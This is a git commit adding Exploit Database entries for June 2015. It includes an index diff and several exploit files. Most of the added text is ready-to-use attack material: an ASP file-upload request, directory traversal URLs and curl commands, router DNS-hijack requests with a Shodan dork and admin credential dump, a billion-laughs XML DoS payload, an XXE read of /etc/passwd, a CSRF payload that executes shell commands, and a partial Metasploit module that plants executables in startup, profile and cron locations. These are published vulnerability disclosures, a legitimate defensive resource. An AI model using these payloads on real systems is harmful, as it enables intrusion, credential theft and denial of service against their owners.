DB: 2015-06-07
11 new exploits
This commit is contained in:
Offensive Security
parent
709da32ec5
commit
5cd9f850c3
12 changed files with 644 additions and 0 deletions
10
files.csv
10
files.csv
|
|
@ -33591,3 +33591,13 @@ id,file,description,date,author,platform,type,port
|
||||||
37209,platforms/php/webapps/37209.txt,"Wordpress Really Simple Guest Post <= 1.0.6 - File Include",2015-06-05,Kuroi'SH,php,webapps,0
|
37209,platforms/php/webapps/37209.txt,"Wordpress Really Simple Guest Post <= 1.0.6 - File Include",2015-06-05,Kuroi'SH,php,webapps,0
|
||||||
37211,platforms/windows/local/37211.html,"1 Click Audio Converter 2.3.6 - Activex Buffer Overflow",2015-06-05,metacom,windows,local,0
|
37211,platforms/windows/local/37211.html,"1 Click Audio Converter 2.3.6 - Activex Buffer Overflow",2015-06-05,metacom,windows,local,0
|
||||||
37212,platforms/windows/local/37212.html,"1 Click Extract Audio 2.3.6 - Activex Buffer Overflow",2015-06-05,metacom,windows,local,0
|
37212,platforms/windows/local/37212.html,"1 Click Extract Audio 2.3.6 - Activex Buffer Overflow",2015-06-05,metacom,windows,local,0
|
||||||
|
37213,platforms/ios/webapps/37213.txt,"WiFi HD 8.1 - Directory Traversal and Denial of Service",2015-06-06,"Wh1t3Rh1n0 (Michael Allen)",ios,webapps,0
|
||||||
|
37214,platforms/hardware/webapps/37214.txt,"Broadlight Residential Gateway DI3124 - Unauthenticated Remote DNS Change",2015-06-06,"Todor Donev",hardware,webapps,0
|
||||||
|
37216,platforms/php/webapps/37216.txt,"Unijimpe Captcha 'captchademo.php' Cross Site Scripting Vulnerability",2012-05-16,"Daniel Godoy",php,webapps,0
|
||||||
|
37217,platforms/php/webapps/37217.txt,"Artiphp 5.5.0 Neo 'index.php' Multiple Cross Site Scripting Vulnerabilities",2012-05-17,"Gjoko Krstic",php,webapps,0
|
||||||
|
37218,platforms/jsp/webapps/37218.txt,"Atlassian Tempo 6.4.3_ JIRA 5.0 0_ Gliffy 3.7.0 XML Parsing Denial of Service Vulnerability",2012-05-17,anonymous,jsp,webapps,0
|
||||||
|
37219,platforms/php/webapps/37219.txt,"PHP Address Book 7.0 Multiple Cross Site Scripting Vulnerabilities",2012-05-17,"Stefan Schurtz",php,webapps,0
|
||||||
|
37220,platforms/jsp/webapps/37220.txt,"OpenKM 5.1.7 Cross Site Request Forgery Vulnerability",2012-05-03,"Cyrill Brunschwiler",jsp,webapps,0
|
||||||
|
37221,platforms/jsp/webapps/37221.txt,"Atlassian JIRA FishEye <= 2.5.7 and Crucible <= 2.5.7 Plugins XML Parsing Unspecified Security Vulnerability",2012-05-17,anonymous,jsp,webapps,0
|
||||||
|
37222,platforms/asp/webapps/37222.txt,"Acuity CMS 2.6.2 /admin/file_manager/file_upload_submit.asp Multiple Parameter File Upload ASP Code Execution",2012-05-21,"Aung Khant",asp,webapps,0
|
||||||
|
37223,platforms/asp/webapps/37223.txt,"Acuity CMS 2.6.2 /admin/file_manager/browse.asp path Parameter Traversal Arbitrary File Access",2012-05-21,"Aung Khant",asp,webapps,0
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
40
platforms/asp/webapps/37222.txt
Executable file
40
platforms/asp/webapps/37222.txt
Executable file
|
|
@ -0,0 +1,40 @@
|
||||||
|
source: http://www.securityfocus.com/bid/53616/info
|
||||||
|
|
||||||
|
Acuity CMS is prone to a directory-traversal vulnerability and an arbitrary-file-upload vulnerability.
|
||||||
|
|
||||||
|
An attacker can exploit these issues to obtain sensitive information, to upload arbitrary code, and run it in the context of the webserver process.
|
||||||
|
|
||||||
|
Acuity CMS 2.6.2 is vulnerable; prior versions may also be affected.
|
||||||
|
|
||||||
|
[REQUEST]
|
||||||
|
POST /admin/file_manager/file_upload_submit.asp HTTP/1.1
|
||||||
|
Host: localhost
|
||||||
|
Cookie: ASPSESSIONID=XXXXXXXXXXXXXXX
|
||||||
|
|
||||||
|
-----------------------------6dc3a236402e2
|
||||||
|
Content-Disposition: form-data; name="path"
|
||||||
|
|
||||||
|
/images
|
||||||
|
-----------------------------6dc3a236402e2
|
||||||
|
Content-Disposition: form-data; name="rootpath"
|
||||||
|
|
||||||
|
/
|
||||||
|
-----------------------------6dc3a236402e2
|
||||||
|
Content-Disposition: form-data; name="rootdisplay"
|
||||||
|
|
||||||
|
http://localhost/
|
||||||
|
-----------------------------6dc3a236402e2
|
||||||
|
Content-Disposition: form-data; name="status"
|
||||||
|
|
||||||
|
confirmed
|
||||||
|
-----------------------------6dc3a236402e2
|
||||||
|
Content-Disposition: form-data; name="action"
|
||||||
|
|
||||||
|
fileUpload
|
||||||
|
-----------------------------6dc3a236402e2
|
||||||
|
Content-Disposition: form-data; name="file1"; filename="0wned.asp"
|
||||||
|
Content-Type: application/octet-stream
|
||||||
|
|
||||||
|
<% response.write("0wned!") %>
|
||||||
|
|
||||||
|
-----------------------------6dc3a236402e2--
|
||||||
10
platforms/asp/webapps/37223.txt
Executable file
10
platforms/asp/webapps/37223.txt
Executable file
|
|
@ -0,0 +1,10 @@
|
||||||
|
source: http://www.securityfocus.com/bid/53616/info
|
||||||
|
|
||||||
|
Acuity CMS is prone to a directory-traversal vulnerability and an arbitrary-file-upload vulnerability.
|
||||||
|
|
||||||
|
An attacker can exploit these issues to obtain sensitive information, to upload arbitrary code, and run it in the context of the webserver process.
|
||||||
|
|
||||||
|
Acuity CMS 2.6.2 is vulnerable; prior versions may also be affected.
|
||||||
|
|
||||||
|
|
||||||
|
http://www.example.com/admin/file_manager/browse.asp?field=&form=&path=../../
|
||||||
50
platforms/hardware/webapps/37214.txt
Executable file
50
platforms/hardware/webapps/37214.txt
Executable file
|
|
@ -0,0 +1,50 @@
|
||||||
|
Broadlight Residential Gateway DI3124
|
||||||
|
Unauthenticated Remote DNS Change
|
||||||
|
|
||||||
|
Copyright 2015 (c) Todor Donev
|
||||||
|
<todor.donev at gmail.com>
|
||||||
|
http://www.ethical-hacker.org/
|
||||||
|
https://www.facebook.com/ethicalhackerorg
|
||||||
|
|
||||||
|
No description for morons,
|
||||||
|
script kiddies & noobs !!
|
||||||
|
|
||||||
|
Disclaimer:
|
||||||
|
This or previous programs is for Educational
|
||||||
|
purpose ONLY. Do not use it without permission.
|
||||||
|
The usual disclaimer applies, especially the
|
||||||
|
fact that Todor Donev is not liable for any
|
||||||
|
damages caused by direct or indirect use of the
|
||||||
|
information or functionality provided by these
|
||||||
|
programs. The author or any Internet provider
|
||||||
|
bears NO responsibility for content or misuse
|
||||||
|
of these programs or any derivatives thereof.
|
||||||
|
By using these programs you accept the fact
|
||||||
|
that any damage (dataloss, system crash,
|
||||||
|
system compromise, etc.) caused by the use
|
||||||
|
of these programs is not Todor Donev's
|
||||||
|
responsibility.
|
||||||
|
|
||||||
|
Use them at your own risk!
|
||||||
|
|
||||||
|
ShodanHQ Dork:
|
||||||
|
Server: thttpd/2.25b 29dec2003 Content-Length: 348414
|
||||||
|
|
||||||
|
|
||||||
|
[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/getdns.cgi?"
|
||||||
|
{"success":true,"totalCount":2,"rows":[{"domain":"googleDNS1","serverip":"8.8.8.8","type":"manual"},
|
||||||
|
{"domain":"googleDNS2","serverip":"8.8.4.4","type":"manual"}]}
|
||||||
|
|
||||||
|
[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/savedns.cgi?domainname=evilDNS&domainserverip=133.71.33.7"
|
||||||
|
{success:true,errormsg:"Operation Succeeded"}
|
||||||
|
|
||||||
|
[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/deldns.cgi?serverip=8.8.8.8"
|
||||||
|
{success:true,errormsg:"Operation Succeeded"}
|
||||||
|
|
||||||
|
[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/deldns.cgi?serverip=8.8.4.4"
|
||||||
|
{success:true,errormsg:"Operation Succeeded"}
|
||||||
|
|
||||||
|
[todor@adamantium ~]$ GET "http://TARGET/cgi-bin/getconf.cgi" | egrep '(username|password)'
|
||||||
|
<username>admin</username>
|
||||||
|
<password>admin</password>
|
||||||
|
|
||||||
51
platforms/ios/webapps/37213.txt
Executable file
51
platforms/ios/webapps/37213.txt
Executable file
|
|
@ -0,0 +1,51 @@
|
||||||
|
# Exploit Title: WiFi HD 8.1 - Directory Traversal and Denial of Service
|
||||||
|
# Date: 2015-05-27
|
||||||
|
# Exploit Author: Wh1t3Rh1n0 (Michael Allen)
|
||||||
|
# Vendor Homepage: http://www.savysoda.com
|
||||||
|
# Software Link: http://www.savysoda.com/WiFiHD/
|
||||||
|
# Version: 8.1 (Apr 1, 2015)
|
||||||
|
# Tested on: iPhone
|
||||||
|
|
||||||
|
Disclosure Timeline:
|
||||||
|
* 2015-05-30: Vendor notified via email.
|
||||||
|
* 2015-06-05: No reponse from the vendor. Advisory released.
|
||||||
|
|
||||||
|
|
||||||
|
Software description:
|
||||||
|
=====================
|
||||||
|
WiFi HD is an iOS app which allows users to share files between their iPhone and PC by running a web server, FTP server, or SMB server on the iPhone or through various cloud services.
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerabilities:
|
||||||
|
================
|
||||||
|
The web server (titled "WiFi" in the app) is vulnerable to multiple directory traversal issues which allow an attacker to download, upload, create, or delete any file to which the app has access. The SMB server (titled "Shared Folder") is vulnerable to a Denial of Service attack when issued the command, "dir -c", within smbclient. It also discloses a listing of all readable files within the iPhone's file system via the IPC$ share.
|
||||||
|
|
||||||
|
|
||||||
|
Web Server Proof-of-Concept
|
||||||
|
===========================
|
||||||
|
Read arbitrary files/folders:
|
||||||
|
Read /etc/passwd:
|
||||||
|
curl "http://[TARGET IP]/../../../../../../../../etc/passwd"
|
||||||
|
List contents of the /tmp directory:
|
||||||
|
curl "http://[TARGET IP]/../../../../../../../../tmp/"
|
||||||
|
|
||||||
|
Create Folders:
|
||||||
|
Create the folder, "/tmp/PoC-Folder":
|
||||||
|
curl -d 'foldername=/../../../../../../../../tmp/PoC-Folder&button=Create+Folder' "http://[TARGET IP]/"
|
||||||
|
|
||||||
|
Delete Files/Folders:
|
||||||
|
Delete the folder, "/tmp/PoC-Folder":
|
||||||
|
curl 'http://[TARGET IP]/!DEL!/../../../../../../../../tmp/PoC-Folder'
|
||||||
|
|
||||||
|
Upload a File:
|
||||||
|
Upload /etc/services to /tmp/example.txt:
|
||||||
|
curl -F 'file=@/etc/services;filename=/../../../../../../../../tmp/example.txt' -F 'button=Submit' 'http://[TARGET IP]/'
|
||||||
|
|
||||||
|
|
||||||
|
SMB Server Proof-of-Concept
|
||||||
|
===========================
|
||||||
|
Denial of Service:
|
||||||
|
smbclient -N -c 'dir \' //[TARGET IP]/IPC$
|
||||||
|
|
||||||
|
Browse the iPhone's Filesystem:
|
||||||
|
smbclient -N //[TARGET IP]/IPC$
|
||||||
53
platforms/jsp/webapps/37218.txt
Executable file
53
platforms/jsp/webapps/37218.txt
Executable file
|
|
@ -0,0 +1,53 @@
|
||||||
|
source: http://www.securityfocus.com/bid/53595/info
|
||||||
|
|
||||||
|
JIRA, and the Gliffy and Tempo plugins for JIRA are prone to a denial-of-service vulnerability because they fail to properly handle crafted XML data.
|
||||||
|
|
||||||
|
Exploiting this issue allows remote attackers to cause denial-of-service conditions in the context of an affected application.
|
||||||
|
|
||||||
|
The following versions are affected:
|
||||||
|
|
||||||
|
Versions prior to JIRA 5.0.1 are vulnerable.
|
||||||
|
Versions prior to Gliffy 3.7.1 are vulnerable.
|
||||||
|
Versions prior to Tempo versions 6.4.3.1, 6.5.1, and 7.0.3 are vulnerable.
|
||||||
|
|
||||||
|
POST somehost.com HTTP/1.1
|
||||||
|
Accept-Encoding: gzip,deflate
|
||||||
|
Content-Type: text/xml;charset=UTF-8
|
||||||
|
SOAPAction: ""
|
||||||
|
User-Agent: Jakarta Commons-HttpClient/3.1
|
||||||
|
Host: somehost.com
|
||||||
|
Content-Length: 1577
|
||||||
|
|
||||||
|
<?xml version="1.0" encoding="utf-8" ?>
|
||||||
|
<!DOCTYPE lolz [
|
||||||
|
<!ENTITY lol "lol">
|
||||||
|
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
|
||||||
|
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
|
||||||
|
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
|
||||||
|
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
|
||||||
|
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
|
||||||
|
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
|
||||||
|
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
|
||||||
|
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
|
||||||
|
]>
|
||||||
|
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:SecurityServer" xmlns:aut="http://authentication.integration.crowd.atlassian.com">
|
||||||
|
<soapenv:Header/>
|
||||||
|
<soapenv:Body>
|
||||||
|
<urn:authenticateApplication>
|
||||||
|
<urn:in0>
|
||||||
|
<aut:credential>
|
||||||
|
<aut:credential>stuff1</aut:credential>
|
||||||
|
<aut:encryptedCredential>?&lol9;</aut:encryptedCredential>
|
||||||
|
</aut:credential>
|
||||||
|
<aut:name>stuff3</aut:name>
|
||||||
|
<aut:validationFactors>
|
||||||
|
<aut:ValidationFactor>
|
||||||
|
<aut:name>stuff4</aut:name>
|
||||||
|
<aut:value>stuff5</aut:value>
|
||||||
|
</aut:ValidationFactor>
|
||||||
|
</aut:validationFactors>
|
||||||
|
</urn:in0>
|
||||||
|
</urn:authenticateApplication>
|
||||||
|
</soapenv:Body>
|
||||||
|
</soapenv:Envelope>
|
||||||
|
|
||||||
42
platforms/jsp/webapps/37220.txt
Executable file
42
platforms/jsp/webapps/37220.txt
Executable file
|
|
@ -0,0 +1,42 @@
|
||||||
|
source: http://www.securityfocus.com/bid/53602/info
|
||||||
|
|
||||||
|
OpenKM is prone to a cross-site request-forgery vulnerability.
|
||||||
|
|
||||||
|
Attackers can exploit this issue to perform certain administrative actions and gain unauthorized access to the affected application.
|
||||||
|
|
||||||
|
OpenKM 5.1.7 is vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
Login as administrator (having the AdminRole) and call the URL in a
|
||||||
|
different
|
||||||
|
browser window
|
||||||
|
http://www.example.com/OpenKM/admin/scripting.jsp?script=String%5B%5D+cmd+%3
|
||||||
|
D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3E+%2Ftmp%
|
||||||
|
2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B
|
||||||
|
|
||||||
|
Alternatively the administrator could browse a prepared HTML page in a
|
||||||
|
new tab
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
img = new Image();
|
||||||
|
img.src="http://www.example.com/OpenKM/admin/scripting.jsp?script=String%5B%
|
||||||
|
5D+cmd+%3D+%7B%22%2Fbin%2Fsh%22%2C+%22-c%22%2C+%22%2Fbin%2Fecho+pwned+%3
|
||||||
|
E+%2Ftmp%2Fpoc%22%7D%3B%0D%0ARuntime.getRuntime%28%29.exec%28cmd%29%3B"
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
||||||
|
The above exploit does nothing else than just creating a file in /tmp
|
||||||
|
|
||||||
|
String[] cmd = {"/bin/sh", "-c", "/bin/echo pwned > /tmp/poc"};
|
||||||
|
Runtime.getRuntime().exec(cmd);
|
||||||
|
|
||||||
|
Some might also want to browse directories
|
||||||
|
http://www.example.com/OpenKM/admin/scripting.jsp?script=import+java.io.*%3B
|
||||||
|
%0D%0A%0D%0Atry+%7B%0D%0A++++String+ls_str%3B%0D%0A++++Process+ls_proc+%
|
||||||
|
3D+Runtime.getRuntime%28%29.exec%28%22%2Fbin%2Fls+-lah%22%29%3B%0D%0A+++
|
||||||
|
+DataInputStream+ls_in+%3D+new+DataInputStream%28ls_proc.getInputStream%
|
||||||
|
28%29%29%3B%0D%0A%0D%0A++++while+%28%28ls_str+%3D+ls_in.readLine%28%29%2
|
||||||
|
9+%21%3D+null%29+++++++++++%0D%0A++++++++print%28ls_str+%2B+%22%3Cbr%3E%
|
||||||
|
22%29%3B%0D%0A%0D%0A%7D+catch+%28IOException+e%29+%7B%0D%0A%7D
|
||||||
|
|
||||||
78
platforms/jsp/webapps/37221.txt
Executable file
78
platforms/jsp/webapps/37221.txt
Executable file
|
|
@ -0,0 +1,78 @@
|
||||||
|
source: http://www.securityfocus.com/bid/53603/info
|
||||||
|
|
||||||
|
The FishEye and Crucible plugins for JIRA are prone to an unspecified security vulnerability because they fail to properly handle crafted XML data.
|
||||||
|
|
||||||
|
Exploiting this issue allows remote attackers to cause denial-of-service conditions or to disclose local sensitive files in the context of an affected application.
|
||||||
|
|
||||||
|
FishEye and Crucible versions up to and including 2.7.11 are vulnerable.
|
||||||
|
|
||||||
|
Burp Repeater
|
||||||
|
Host: somehost.com
|
||||||
|
Port 443
|
||||||
|
|
||||||
|
|
||||||
|
POST /crowd/services/test HTTP/1.1
|
||||||
|
Accept-Encoding: gzip,deflate
|
||||||
|
Content-Type: text/xml;charset=UTF-8
|
||||||
|
SOAPAction: ""
|
||||||
|
User-Agent: Jakarta Commons-HttpClient/3.1
|
||||||
|
Host: somehost.com
|
||||||
|
Content-Length: 2420
|
||||||
|
|
||||||
|
<!DOCTYPE foo [<!ENTITY xxec6079 SYSTEM "file:///etc/passwd"> ]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:SecurityServer" xmlns:aut="http://authentication.integration.crowd.atlassian.com" xmlns:soap="http://soap.integration.crowd.atlassian.com">
|
||||||
|
<soapenv:Header/>
|
||||||
|
<soapenv:Body>
|
||||||
|
<urn:addAllPrincipals>
|
||||||
|
<urn:in0>
|
||||||
|
<!--Optional:-->
|
||||||
|
<aut:name>?</aut:name>
|
||||||
|
<!--Optional:-->
|
||||||
|
<aut:token>?</aut:token>
|
||||||
|
</urn:in0>
|
||||||
|
<urn:in1>
|
||||||
|
<!--Zero or more repetitions:-->
|
||||||
|
<soap:
|
||||||
|
SOAPPrincipalWithCredential>
|
||||||
|
<!--Optional:-->
|
||||||
|
<soap:passwordCredential>
|
||||||
|
<!--Optional:-->
|
||||||
|
<aut:credential>?</aut:credential>
|
||||||
|
<!--Optional:-->
|
||||||
|
<aut:encryptedCredential>?&xxec6079;</aut:encryptedCredential>
|
||||||
|
</soap:passwordCredential>
|
||||||
|
<!--Optional:-->
|
||||||
|
<soap:principal>
|
||||||
|
<!--Optional:-->
|
||||||
|
<soap:ID>?</soap:ID>
|
||||||
|
<!--Optional:-->
|
||||||
|
<soap:active>?</soap:active>
|
||||||
|
<!--Optional:-->
|
||||||
|
<soap:attributes>
|
||||||
|
<!--Zero or more repetitions:-->
|
||||||
|
<soap:SOAPAttribute>
|
||||||
|
<!--Optional:-->
|
||||||
|
<soap:name>?</soap:name>
|
||||||
|
<!--Optional:-->
|
||||||
|
<soap:values>
|
||||||
|
<!--Zero or more repetitions:-->
|
||||||
|
<urn:string>?</urn:string>
|
||||||
|
</soap:values>
|
||||||
|
</soap:SOAPAttribute>
|
||||||
|
</soap:attributes>
|
||||||
|
<!--Optional:-->
|
||||||
|
<soap:conception>?</soap:conception>
|
||||||
|
<!--Optional:-->
|
||||||
|
<soap:description>?</soap:description>
|
||||||
|
<!--Optional:-->
|
||||||
|
<soap:directoryId>?</soap:directoryId>
|
||||||
|
<!--Optional:-->
|
||||||
|
<soap:lastModified>?</soap:lastModified>
|
||||||
|
<!--Optional:-->
|
||||||
|
<soap:name>?</soap:name>
|
||||||
|
</soap:principal>
|
||||||
|
</soap:SOAPPrincipalWithCredential>
|
||||||
|
</urn:in1>
|
||||||
|
</urn:addAllPrincipals>
|
||||||
|
</soapenv:Body>
|
||||||
|
</soapenv:Envelope>
|
||||||
|
|
||||||
263
platforms/multiple/remote/37198.rb
Executable file
263
platforms/multiple/remote/37198.rb
Executable file
|
|
@ -0,0 +1,263 @@
|
||||||
|
=begin
|
||||||
|
# Exploit Title: JDownloader 2 Beta Directory Traversal Vulnerability (Zip Extraction)
|
||||||
|
# Date: 2015-06-02
|
||||||
|
# Exploit Author: PizzaHatHacker
|
||||||
|
# Vendor Homepage: http://jdownloader.org/home/index
|
||||||
|
# Software Link: http://jdownloader.org/download/offline
|
||||||
|
# Version: 1171 <= SVN Revision <= 2331
|
||||||
|
# Contact: PizzaHatHacker[a]gmail[.]com
|
||||||
|
# Tested on: Windows XP SP3 / Windows 7 SP1
|
||||||
|
# CVE:
|
||||||
|
# Category: remote
|
||||||
|
|
||||||
|
1. Product Description
|
||||||
|
Extract from the official website :
|
||||||
|
"JDownloader is a free, open-source download management tool with a huge community of developers that makes downloading as easy and fast as it should be. Users can start, stop or pause downloads, set bandwith limitations, auto-extract archives and much more. It's an easy-to-extend framework that can save hours of your valuable time every day!"
|
||||||
|
|
||||||
|
2. Vulnerability Description & Technical Details
|
||||||
|
JDownloader 2 Beta is vulnerable to a directory traversal security issue.
|
||||||
|
|
||||||
|
Class : org.appwork.utils.os.CrossSystem
|
||||||
|
Method : public static String alleviatePathParts(String pathPart)
|
||||||
|
|
||||||
|
This method is called with a user-provided path part as parameter,
|
||||||
|
and should return a valid and safe path where to create a file/folder.
|
||||||
|
|
||||||
|
This method first checks that the input filepath does not limit
|
||||||
|
itself to a (potentially dangerous) sequence of dots and otherwise
|
||||||
|
removes it :
|
||||||
|
pathPart = pathPart.replaceFirst("\\.+$", "");
|
||||||
|
|
||||||
|
However right after this, the value returned is cleaned from
|
||||||
|
starting and ending white space characters :
|
||||||
|
return pathPart.trim();
|
||||||
|
|
||||||
|
Therefore, if you pass to this method a list of dots followed by some white space
|
||||||
|
like ".. ", it will bypass the first check and then return the valid path ".."
|
||||||
|
which is insecure.
|
||||||
|
|
||||||
|
This leads to a vulnerability when JDownloader 2 Beta just downloaded a ZIP file and
|
||||||
|
then tries to extract it. A ZIP file with an entry containing ".. " sequence(s)
|
||||||
|
would cause JD2b to overwrite/create arbitrary files on the target filesystem.
|
||||||
|
|
||||||
|
3. Impact Analysis :
|
||||||
|
To exploit this issue, the victim is required to launch a standard ZIP file download.
|
||||||
|
The Unzip plugin is enabled by default in JDownloader : any ZIP file downloaded will
|
||||||
|
automatically be extracted.
|
||||||
|
|
||||||
|
By exploiting this issue, a malicious user may be able to create/overwrite arbitrary
|
||||||
|
files on the target file system.
|
||||||
|
Therefore, it is possible to take the control of the victim's machine with the rights of
|
||||||
|
the JDownloader process - typically standard (non-administrator) rights - for example by
|
||||||
|
overwriting existing executable files, by uploading an executable file in a user's
|
||||||
|
autorun directory etc.
|
||||||
|
|
||||||
|
4. Common Vulnerability Scoring System
|
||||||
|
* Exploitability Metrics
|
||||||
|
- Access Vector (AV) : Network (AV:N)
|
||||||
|
- Access Complexity (AC) : Medium (AC:M)
|
||||||
|
- Authentication (Au) : None (Au:N)
|
||||||
|
|
||||||
|
* Impact Metrics
|
||||||
|
- Confidentiality Impact (C) : Partial (C:P)
|
||||||
|
- Integrity Impact (I) : Partial (I:P)
|
||||||
|
- Availability Impact (A) : Partial (A:P)
|
||||||
|
|
||||||
|
* CVSS v2 Vector (AV:N/AC:M/Au:N/C:P/I:P/A:P)
|
||||||
|
- CVSS Base Score : 6.8
|
||||||
|
- Impact Subscore 6.4
|
||||||
|
- Exploitability Subscore 8.6
|
||||||
|
|
||||||
|
5. Proof of Concept
|
||||||
|
- Create a ZIP file with an entry like ".. /poc.txt"
|
||||||
|
- Upload it to an HTTP server (for example)
|
||||||
|
- Run a vulnerable revision of JDownloader 2 Beta and use it to download the file from the server
|
||||||
|
- JD2b will download and extract the file, which will create a "poc.txt" one level upper from your download directory
|
||||||
|
|
||||||
|
OR see the Metasploit Exploit provided.
|
||||||
|
|
||||||
|
6. Vulnerability Timeline
|
||||||
|
2012-04-27 : Vulnerability created (SVN Revision > 1170)
|
||||||
|
2014-08-19 : Vulnerability identified
|
||||||
|
[...] : Sorry, I was not sure how to handle this and forgot about it for a long time
|
||||||
|
2015-05-08 : Vendor informed about this issue
|
||||||
|
2015-05-08 : Vendor response + Code modification (Revision 2332)
|
||||||
|
2015-05-11 : Code modification (SVN Revision 2333)
|
||||||
|
2015-05-11 : Notified the vendor : The vulnerable code is still exploitable via ".. .." (dot dot blank dot dot)
|
||||||
|
2015-05-12 : Code modification (SVN Revision 2335)
|
||||||
|
2015-05-12 : Confirmed to the vendor that the code looks now safe
|
||||||
|
2015-06-01 : JDownloader 2 Beta Update : Looks not vulnerable anymore
|
||||||
|
2015-06-04 : Disclosure of this document
|
||||||
|
|
||||||
|
7. Solution
|
||||||
|
Update JDownloader 2 Beta to the latest version.
|
||||||
|
|
||||||
|
8. Personal Notes
|
||||||
|
|
||||||
|
I am NOT a security professional, just a kiddy fan of security.
|
||||||
|
I was boring so I looked for some security flaws in some software and happily found this.
|
||||||
|
If you have any questions/remarks, don't hesitate to contact me by email.
|
||||||
|
I'm interesting in any discussion/advice/exchange/question/criticism about security/exploits/programming :-)
|
||||||
|
=end
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FILEFORMAT
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::WbemExec
|
||||||
|
|
||||||
|
def initialize( info = {} )
|
||||||
|
|
||||||
|
super( update_info( info,
|
||||||
|
'Name' => 'JDownloader 2 Beta Directory Traversal Vulnerability',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a directory traversal flaw in JDownloader 2 Beta
|
||||||
|
when extracting a ZIP file (which by default is automatically done by JDL).
|
||||||
|
|
||||||
|
The following targets are available :
|
||||||
|
Windows regular user : Create executable file in the 'Start Menu\Startup'
|
||||||
|
under the user profile directory. (Executed at next session startup).
|
||||||
|
Linux regular user : Create an executable file and a .profile script calling
|
||||||
|
it in the user's home directory. (Executed at next session login).
|
||||||
|
Windows Administrator : Create an executable file in C:\\Windows\\System32
|
||||||
|
and a .mof file calling it. (Executed instantly).
|
||||||
|
Linux Administrator : Create an executable file in /etc/crontab.hourly/.
|
||||||
|
(Executed within the next hour).
|
||||||
|
|
||||||
|
Vulnerability date : Apr 27 2012 (SVN Revision > 1170)
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'PizzaHatHacker <PizzaHatHacker[A]gmail[.]com>' ], # Vulnerability Discovery & Metasploit module
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'http://jdownloader.org/download/offline' ],
|
||||||
|
],
|
||||||
|
'Platform' => %w{ linux osx solaris win },
|
||||||
|
'Payload' => {
|
||||||
|
'Space' => 20480, # Arbitrary big number
|
||||||
|
'BadChars' => '',
|
||||||
|
'DisableNops' => true
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Windows Regular User (Start Menu Startup)',
|
||||||
|
{
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Depth' => 0, # Go up to root (C:\Users\Joe\Downloads\..\..\..\ -> C:\)
|
||||||
|
'RelativePath' => 'Users/All Users/Microsoft/Windows/Start Menu/Programs/Startup/',
|
||||||
|
'Option' => nil,
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Linux Regular User (.profile)',
|
||||||
|
{
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Depth' => -2, # Go up 2 levels (/home/joe/Downloads/XXX/xxx.zip -> /home/joe/)
|
||||||
|
'RelativePath' => '',
|
||||||
|
'Option' => 'profile',
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Windows Administrator User (Wbem Exec)',
|
||||||
|
{
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Depth' => 0, # Go up to root (n levels)
|
||||||
|
'RelativePath' => 'Windows/System32/',
|
||||||
|
'Option' => 'mof',
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Linux Administrator User (crontab)',
|
||||||
|
{
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Depth' => 0, # Go up to root (n levels)
|
||||||
|
'RelativePath' => 'etc/cron.hourly/',
|
||||||
|
'Option' => nil,
|
||||||
|
}
|
||||||
|
],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => nil,
|
||||||
|
'DisclosureDate' => ''
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('FILENAME', [ true, 'The output file name.', '']),
|
||||||
|
|
||||||
|
# C:\Users\Bob\Downloads\XXX\xxx.zip => 4
|
||||||
|
# /home/Bob/Downloads/XXX/xxx.zip => 4
|
||||||
|
OptInt.new('DEPTH', [true, 'JDownloader download directory depth. (0 = filesystem root, 1 = one subfolder under root etc.)', 4]),
|
||||||
|
], self.class)
|
||||||
